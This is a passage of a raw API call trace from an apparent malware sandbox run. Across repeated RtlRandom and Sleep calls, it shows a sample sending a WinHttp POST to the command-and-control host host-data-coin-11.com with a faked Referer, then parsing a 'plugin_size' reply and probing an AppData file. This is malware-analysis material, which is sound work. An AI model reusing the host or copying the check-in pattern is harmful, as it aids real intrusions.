returned 0x7133d537 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5aaa5d3c [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb12bf47e [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf305697 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7a205916 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xde23394b [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb6a2ee5c [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb10c2317 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9e28c036 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ea915d1 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd240d39e [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbaf91915 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54f91293 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x52047ecc [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2d3796c8 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xedbdf68f [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54c0c96 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6a2a7a38 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x92036425 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa36eaa0 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xca8e325 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf3bcbddc [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd7c118d5 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb0a4db6 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x731291bc [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9502d72b [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7f3684a [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdb86eb82 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x292260b5 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa3d4f8ad [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2d6ba866 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7d5c5a79 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4253500a [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb9fee73f [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x819ea76 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec8d60b7 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaf63cde8 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb4ffbbc6 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2fe4ac42 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa656c597 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf8716487 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8998857d [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf6f18bf [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb58ecd49 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x44b0c6fe [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5368b472 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7e4fb503 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec7ff071 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xab38fd15 [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ecd9d5d [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe5e4d1ce [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x573ecb1a [0171.505] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe502a3df [0171.506] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x27abdf8a [0171.506] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f413738 [0171.506] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x11a) returned 0x9141970 [0171.506] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0171.506] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0171.506] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0171.506] lstrcatA (in: lpString1="", lpString2="cl>DFql%W6([>P-\\rV'xXwOc'IB2(\\F1!2`&>][PB.SDg,;N0]\"ngc;oT[^/'>qbY$J&=yY\"xpmu,6JA3P1q" | out: lpString1="cl>DFql%W6([>P-\\rV'xXwOc'IB2(\\F1!2`&>][PB.SDg,;N0]\"ngc;oT[^/'>qbY$J&=yY\"xpmu,6JA3P1q") returned="cl>DFql%W6([>P-\\rV'xXwOc'IB2(\\F1!2`&>][PB.SDg,;N0]\"ngc;oT[^/'>qbY$J&=yY\"xpmu,6JA3P1q" [0171.506] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9141aa0 [0171.506] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0171.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x9141aa0, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0171.506] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0171.594] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x86595a0 [0171.595] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0171.595] WinHttpConnect (hSession=0x86595a0, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aacd0 [0171.595] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141bc0 [0171.595] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141be0 [0171.595] WinHttpOpenRequest (hConnect=0x86aacd0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0171.595] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141c50 [0171.596] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141cb0 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b32fc3b [0171.596] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141dd0 [0171.596] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9141df0 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea396645 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb82e558 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6fd8ec48 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x15cc3b7d [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6ed18d77 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa6b495e [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x88482175 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x76bba757 [0171.596] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf047e754 [0171.596] wsprintfW (in: param_1=0x9141cb0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://spjytijq.org/") returned 42 [0171.596] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141df0) returned 0x17 [0171.596] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141df0) returned 1 [0171.596] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141dd0) returned 0x12 [0171.596] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141dd0) returned 1 [0171.596] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c50) returned 0x4e [0171.597] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c50) returned 1 [0171.597] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://spjytijq.org/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0171.597] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x9141970*, dwOptionalLength=0x111, dwTotalLength=0x111, dwContext=0x0) returned 1 [0172.305] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0172.305] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9141dd0 [0172.305] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141dd0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141dd0*, lpdwNumberOfBytesRead=0x1004fd88*=0x18) returned 1 [0172.306] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9141dd0, Size=0x5000) returned 0x9141dd0 [0172.306] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141de8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141de8*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0172.307] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x6e0000 [0172.308] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141dd0) returned 1 [0172.308] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0172.308] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141cb0) returned 0x10d [0172.309] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141cb0) returned 1 [0172.309] WinHttpCloseHandle (hInternet=0x86aacd0) returned 1 [0172.309] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141be0) returned 0x68 [0172.309] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141be0) returned 1 [0172.309] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141bc0) returned 0x12 [0172.309] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141bc0) returned 1 [0172.309] WinHttpCloseHandle (hInternet=0x86595a0) returned 1 [0172.310] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141aa0) returned 0x10c [0172.310] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141aa0) returned 1 [0172.310] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141890) returned 0xcb [0172.310] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141890) returned 1 [0172.310] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141970) returned 0x11a [0172.311] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141970) returned 1 [0172.311] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0172.311] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x15) returned 0x9141890 [0172.311] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0172.311] lstrlenA (lpString="plugin_size") returned 11 [0172.311] atoi (_Str="0") returned 0 [0172.311] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0172.311] lstrlenA (lpString="|:|") returned 3 [0172.311] MapViewOfFile (hFileMappingObject=0x1ee0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x7c60000 [0172.317] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0172.317] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7c60000) returned 0x0 [0172.366] atoi (_Str="0") returned 0 [0172.366] VirtualFree (lpAddress=0x6e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0172.367] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x26 [0172.368] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0172.368] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0172.368] Sleep (dwMilliseconds=0x258) [0172.370] Sleep (dwMilliseconds=0x258) [0172.371] Sleep (dwMilliseconds=0x258) [0172.373] Sleep (dwMilliseconds=0x258) [0172.375] Sleep (dwMilliseconds=0x258) [0172.376] Sleep (dwMilliseconds=0x258) [0172.378] Sleep (dwMilliseconds=0x258) [0172.379] Sleep (dwMilliseconds=0x258) [0172.381] Sleep (dwMilliseconds=0x258) [0172.383] Sleep (dwMilliseconds=0x258) [0172.384] Sleep (dwMilliseconds=0x258) [0172.386] Sleep (dwMilliseconds=0x258) [0172.389] Sleep (dwMilliseconds=0x258) [0172.390] Sleep (dwMilliseconds=0x258) [0172.392] Sleep (dwMilliseconds=0x258) [0172.393] Sleep (dwMilliseconds=0x258) [0172.422] Sleep (dwMilliseconds=0x258) [0172.423] Sleep (dwMilliseconds=0x258) [0172.425] Sleep (dwMilliseconds=0x258) [0172.426] Sleep (dwMilliseconds=0x258) [0172.428] Sleep (dwMilliseconds=0x258) [0172.429] Sleep (dwMilliseconds=0x258) [0172.431] Sleep (dwMilliseconds=0x258) [0172.432] Sleep (dwMilliseconds=0x258) [0172.434] Sleep (dwMilliseconds=0x258) [0172.436] Sleep (dwMilliseconds=0x258) [0172.438] Sleep (dwMilliseconds=0x258) [0172.440] Sleep (dwMilliseconds=0x258) [0172.541] Sleep (dwMilliseconds=0x258) [0172.543] Sleep (dwMilliseconds=0x258) [0172.545] Sleep (dwMilliseconds=0x258) [0172.547] Sleep (dwMilliseconds=0x258) [0172.548] Sleep (dwMilliseconds=0x258) [0172.550] Sleep (dwMilliseconds=0x258) [0172.551] Sleep (dwMilliseconds=0x258) [0172.553] Sleep (dwMilliseconds=0x258) [0172.554] Sleep (dwMilliseconds=0x258) [0172.556] Sleep (dwMilliseconds=0x258) [0172.558] Sleep (dwMilliseconds=0x258) [0172.560] Sleep (dwMilliseconds=0x258) [0172.562] Sleep (dwMilliseconds=0x258) [0172.563] Sleep (dwMilliseconds=0x258) [0172.565] Sleep (dwMilliseconds=0x258) [0172.567] Sleep (dwMilliseconds=0x258) [0172.568] Sleep (dwMilliseconds=0x258) [0172.570] Sleep (dwMilliseconds=0x258) [0172.572] Sleep (dwMilliseconds=0x258) [0172.637] Sleep (dwMilliseconds=0x258) [0172.639] Sleep (dwMilliseconds=0x258) [0172.651] Sleep (dwMilliseconds=0x258) [0172.652] Sleep (dwMilliseconds=0x258) [0172.654] Sleep (dwMilliseconds=0x258) [0172.655] Sleep (dwMilliseconds=0x258) [0172.657] Sleep (dwMilliseconds=0x258) [0172.659] Sleep (dwMilliseconds=0x258) [0172.660] Sleep (dwMilliseconds=0x258) [0172.662] Sleep (dwMilliseconds=0x258) [0172.664] Sleep (dwMilliseconds=0x258) [0172.665] Sleep (dwMilliseconds=0x258) [0172.667] Sleep (dwMilliseconds=0x258) [0172.850] Sleep (dwMilliseconds=0x258) [0172.935] Sleep (dwMilliseconds=0x258) [0172.969] Sleep (dwMilliseconds=0x258) [0172.971] Sleep (dwMilliseconds=0x258) [0172.972] Sleep (dwMilliseconds=0x258) [0172.974] Sleep (dwMilliseconds=0x258) [0172.975] Sleep (dwMilliseconds=0x258) [0172.977] Sleep (dwMilliseconds=0x258) [0172.978] Sleep (dwMilliseconds=0x258) [0172.982] Sleep (dwMilliseconds=0x258) [0172.983] Sleep (dwMilliseconds=0x258) [0172.984] Sleep (dwMilliseconds=0x258) [0172.986] Sleep (dwMilliseconds=0x258) [0172.989] Sleep (dwMilliseconds=0x258) [0172.990] Sleep (dwMilliseconds=0x258) [0172.992] Sleep (dwMilliseconds=0x258) [0172.993] Sleep (dwMilliseconds=0x258) [0172.995] Sleep (dwMilliseconds=0x258) [0172.996] Sleep (dwMilliseconds=0x258) [0172.998] Sleep (dwMilliseconds=0x258) [0173.000] Sleep (dwMilliseconds=0x258) [0173.001] Sleep (dwMilliseconds=0x258) [0173.002] Sleep (dwMilliseconds=0x258) [0173.004] Sleep (dwMilliseconds=0x258) [0173.006] Sleep (dwMilliseconds=0x258) [0173.008] Sleep (dwMilliseconds=0x258) [0173.010] Sleep (dwMilliseconds=0x258) [0173.099] Sleep (dwMilliseconds=0x258) [0173.144] Sleep (dwMilliseconds=0x258) [0173.179] Sleep (dwMilliseconds=0x258) [0173.236] Sleep (dwMilliseconds=0x258) [0173.273] Sleep (dwMilliseconds=0x258) [0173.277] Sleep (dwMilliseconds=0x258) [0173.279] Sleep (dwMilliseconds=0x258) [0173.280] Sleep (dwMilliseconds=0x258) [0173.284] Sleep (dwMilliseconds=0x258) [0173.285] Sleep (dwMilliseconds=0x258) [0173.286] Sleep (dwMilliseconds=0x258) [0173.288] Sleep (dwMilliseconds=0x258) [0173.289] Sleep (dwMilliseconds=0x258) [0173.291] Sleep (dwMilliseconds=0x258) [0173.309] Sleep (dwMilliseconds=0x258) [0173.315] Sleep (dwMilliseconds=0x258) [0173.317] Sleep (dwMilliseconds=0x258) [0173.318] Sleep (dwMilliseconds=0x258) [0173.320] Sleep (dwMilliseconds=0x258) [0173.322] Sleep (dwMilliseconds=0x258) [0173.323] Sleep (dwMilliseconds=0x258) [0173.328] Sleep (dwMilliseconds=0x258) [0173.330] Sleep (dwMilliseconds=0x258) [0173.331] Sleep (dwMilliseconds=0x258) [0173.333] Sleep (dwMilliseconds=0x258) [0173.334] Sleep (dwMilliseconds=0x258) [0173.335] Sleep (dwMilliseconds=0x258) [0173.386] Sleep (dwMilliseconds=0x258) [0173.387] Sleep (dwMilliseconds=0x258) [0173.389] Sleep (dwMilliseconds=0x258) [0173.391] Sleep (dwMilliseconds=0x258) [0173.392] Sleep (dwMilliseconds=0x258) [0173.398] Sleep (dwMilliseconds=0x258) [0173.400] Sleep (dwMilliseconds=0x258) [0173.402] Sleep (dwMilliseconds=0x258) [0173.403] Sleep (dwMilliseconds=0x258) [0173.405] Sleep (dwMilliseconds=0x258) [0173.406] Sleep (dwMilliseconds=0x258) [0173.408] Sleep (dwMilliseconds=0x258) [0173.409] Sleep (dwMilliseconds=0x258) [0173.411] Sleep (dwMilliseconds=0x258) [0173.412] Sleep (dwMilliseconds=0x258) [0173.414] Sleep (dwMilliseconds=0x258) [0173.415] Sleep (dwMilliseconds=0x258) [0173.440] Sleep (dwMilliseconds=0x258) [0173.441] Sleep (dwMilliseconds=0x258) [0173.443] Sleep (dwMilliseconds=0x258) [0173.445] Sleep (dwMilliseconds=0x258) [0173.446] Sleep (dwMilliseconds=0x258) [0173.448] Sleep (dwMilliseconds=0x258) [0173.450] Sleep (dwMilliseconds=0x258) [0173.453] Sleep (dwMilliseconds=0x258) [0173.455] Sleep (dwMilliseconds=0x258) [0173.464] Sleep (dwMilliseconds=0x258) [0173.465] Sleep (dwMilliseconds=0x258) [0173.467] Sleep (dwMilliseconds=0x258) [0173.468] Sleep (dwMilliseconds=0x258) [0173.470] Sleep (dwMilliseconds=0x258) [0173.549] Sleep (dwMilliseconds=0x258) [0173.617] Sleep (dwMilliseconds=0x258) [0173.685] Sleep (dwMilliseconds=0x258) [0173.705] Sleep (dwMilliseconds=0x258) [0173.706] Sleep (dwMilliseconds=0x258) [0173.708] Sleep (dwMilliseconds=0x258) [0173.711] Sleep (dwMilliseconds=0x258) [0173.715] Sleep (dwMilliseconds=0x258) [0173.716] Sleep (dwMilliseconds=0x258) [0173.717] Sleep (dwMilliseconds=0x258) [0173.719] Sleep (dwMilliseconds=0x258) [0173.720] Sleep (dwMilliseconds=0x258) [0173.722] Sleep (dwMilliseconds=0x258) [0173.724] Sleep (dwMilliseconds=0x258) [0173.725] Sleep (dwMilliseconds=0x258) [0173.728] Sleep (dwMilliseconds=0x258) [0173.729] Sleep (dwMilliseconds=0x258) [0173.732] Sleep (dwMilliseconds=0x258) [0173.734] Sleep (dwMilliseconds=0x258) [0173.735] Sleep (dwMilliseconds=0x258) [0173.737] Sleep (dwMilliseconds=0x258) [0173.738] Sleep (dwMilliseconds=0x258) [0173.739] Sleep (dwMilliseconds=0x258) [0173.741] Sleep (dwMilliseconds=0x258) [0173.743] Sleep (dwMilliseconds=0x258) [0173.744] Sleep (dwMilliseconds=0x258) [0173.746] Sleep (dwMilliseconds=0x258) [0173.747] Sleep (dwMilliseconds=0x258) [0173.749] Sleep (dwMilliseconds=0x258) [0173.750] Sleep (dwMilliseconds=0x258) [0173.752] Sleep (dwMilliseconds=0x258) [0173.753] Sleep (dwMilliseconds=0x258) [0173.757] Sleep (dwMilliseconds=0x258) [0173.759] Sleep (dwMilliseconds=0x258) [0173.765] Sleep (dwMilliseconds=0x258) [0173.766] Sleep (dwMilliseconds=0x258) [0173.769] Sleep (dwMilliseconds=0x258) [0173.771] Sleep (dwMilliseconds=0x258) [0173.772] Sleep (dwMilliseconds=0x258) [0173.774] Sleep (dwMilliseconds=0x258) [0173.775] Sleep (dwMilliseconds=0x258) [0173.777] Sleep (dwMilliseconds=0x258) [0173.779] Sleep (dwMilliseconds=0x258) [0173.781] Sleep (dwMilliseconds=0x258) [0173.783] Sleep (dwMilliseconds=0x258) [0173.785] Sleep (dwMilliseconds=0x258) [0173.786] Sleep (dwMilliseconds=0x258) [0173.830] Sleep (dwMilliseconds=0x258) [0174.032] Sleep (dwMilliseconds=0x258) [0174.034] Sleep (dwMilliseconds=0x258) [0174.035] Sleep (dwMilliseconds=0x258) [0174.038] Sleep (dwMilliseconds=0x258) [0174.039] Sleep (dwMilliseconds=0x258) [0174.041] Sleep (dwMilliseconds=0x258) [0174.042] Sleep (dwMilliseconds=0x258) [0174.043] Sleep (dwMilliseconds=0x258) [0174.045] Sleep (dwMilliseconds=0x258) [0174.047] Sleep (dwMilliseconds=0x258) [0174.048] Sleep (dwMilliseconds=0x258) [0174.050] Sleep (dwMilliseconds=0x258) [0174.051] Sleep (dwMilliseconds=0x258) [0174.053] Sleep (dwMilliseconds=0x258) [0174.055] Sleep (dwMilliseconds=0x258) [0174.136] Sleep (dwMilliseconds=0x258) [0174.138] Sleep (dwMilliseconds=0x258) [0174.141] Sleep (dwMilliseconds=0x258) [0174.143] Sleep (dwMilliseconds=0x258) [0174.144] Sleep (dwMilliseconds=0x258) [0174.146] Sleep (dwMilliseconds=0x258) [0174.147] Sleep (dwMilliseconds=0x258) [0174.149] Sleep (dwMilliseconds=0x258) [0174.150] Sleep (dwMilliseconds=0x258) [0174.238] Sleep (dwMilliseconds=0x258) [0174.307] Sleep (dwMilliseconds=0x258) [0174.308] Sleep (dwMilliseconds=0x258) [0174.310] Sleep (dwMilliseconds=0x258) [0174.312] Sleep (dwMilliseconds=0x258) [0174.315] Sleep (dwMilliseconds=0x258) [0174.316] Sleep (dwMilliseconds=0x258) [0174.318] Sleep (dwMilliseconds=0x258) [0174.319] Sleep (dwMilliseconds=0x258) [0174.321] Sleep (dwMilliseconds=0x258) [0174.322] Sleep (dwMilliseconds=0x258) [0174.324] Sleep (dwMilliseconds=0x258) [0174.325] Sleep (dwMilliseconds=0x258) [0174.327] Sleep (dwMilliseconds=0x258) [0174.328] Sleep (dwMilliseconds=0x258) [0174.330] Sleep (dwMilliseconds=0x258) [0174.347] Sleep (dwMilliseconds=0x258) [0174.366] Sleep (dwMilliseconds=0x258) [0174.367] Sleep (dwMilliseconds=0x258) [0174.369] Sleep (dwMilliseconds=0x258) [0174.370] Sleep (dwMilliseconds=0x258) [0174.375] Sleep (dwMilliseconds=0x258) [0174.382] Sleep (dwMilliseconds=0x258) [0174.400] Sleep (dwMilliseconds=0x258) [0174.491] Sleep (dwMilliseconds=0x258) [0174.505] Sleep (dwMilliseconds=0x258) [0174.506] Sleep (dwMilliseconds=0x258) [0174.508] Sleep (dwMilliseconds=0x258) [0174.509] Sleep (dwMilliseconds=0x258) [0174.511] Sleep (dwMilliseconds=0x258) [0174.512] Sleep (dwMilliseconds=0x258) [0174.514] Sleep (dwMilliseconds=0x258) [0174.515] Sleep (dwMilliseconds=0x258) [0174.517] Sleep (dwMilliseconds=0x258) [0174.519] Sleep (dwMilliseconds=0x258) [0174.521] Sleep (dwMilliseconds=0x258) [0174.523] Sleep (dwMilliseconds=0x258) [0174.524] Sleep (dwMilliseconds=0x258) [0174.526] Sleep (dwMilliseconds=0x258) [0174.527] Sleep (dwMilliseconds=0x258) [0174.529] Sleep (dwMilliseconds=0x258) [0174.531] Sleep (dwMilliseconds=0x258) [0174.533] Sleep (dwMilliseconds=0x258) [0174.535] Sleep (dwMilliseconds=0x258) [0174.536] Sleep (dwMilliseconds=0x258) [0174.538] Sleep (dwMilliseconds=0x258) [0174.539] Sleep (dwMilliseconds=0x258) [0174.541] Sleep (dwMilliseconds=0x258) [0174.542] Sleep (dwMilliseconds=0x258) [0174.544] Sleep (dwMilliseconds=0x258) [0174.546] Sleep (dwMilliseconds=0x258) [0174.548] Sleep (dwMilliseconds=0x258) [0174.549] Sleep (dwMilliseconds=0x258) [0174.551] Sleep (dwMilliseconds=0x258) [0174.553] Sleep (dwMilliseconds=0x258) [0174.555] Sleep (dwMilliseconds=0x258) [0174.556] Sleep (dwMilliseconds=0x258) [0174.559] Sleep (dwMilliseconds=0x258) [0174.634] Sleep (dwMilliseconds=0x258) [0174.683] Sleep (dwMilliseconds=0x258) [0174.799] Sleep (dwMilliseconds=0x258) [0174.871] Sleep (dwMilliseconds=0x258) [0174.872] Sleep (dwMilliseconds=0x258) [0174.874] Sleep (dwMilliseconds=0x258) [0174.875] Sleep (dwMilliseconds=0x258) [0174.877] Sleep (dwMilliseconds=0x258) [0174.878] Sleep (dwMilliseconds=0x258) [0174.880] Sleep (dwMilliseconds=0x258) [0174.882] Sleep (dwMilliseconds=0x258) [0174.883] Sleep (dwMilliseconds=0x258) [0174.884] Sleep (dwMilliseconds=0x258) [0174.898] Sleep (dwMilliseconds=0x258) [0174.899] Sleep (dwMilliseconds=0x258) [0174.902] Sleep (dwMilliseconds=0x258) [0174.904] Sleep (dwMilliseconds=0x258) [0174.907] Sleep (dwMilliseconds=0x258) [0174.909] Sleep (dwMilliseconds=0x258) [0174.911] Sleep (dwMilliseconds=0x258) [0174.913] Sleep (dwMilliseconds=0x258) [0174.915] Sleep (dwMilliseconds=0x258) [0174.916] Sleep (dwMilliseconds=0x258) [0174.919] Sleep (dwMilliseconds=0x258) [0174.921] Sleep (dwMilliseconds=0x258) [0174.923] Sleep (dwMilliseconds=0x258) [0174.924] Sleep (dwMilliseconds=0x258) [0174.926] Sleep (dwMilliseconds=0x258) [0174.928] Sleep 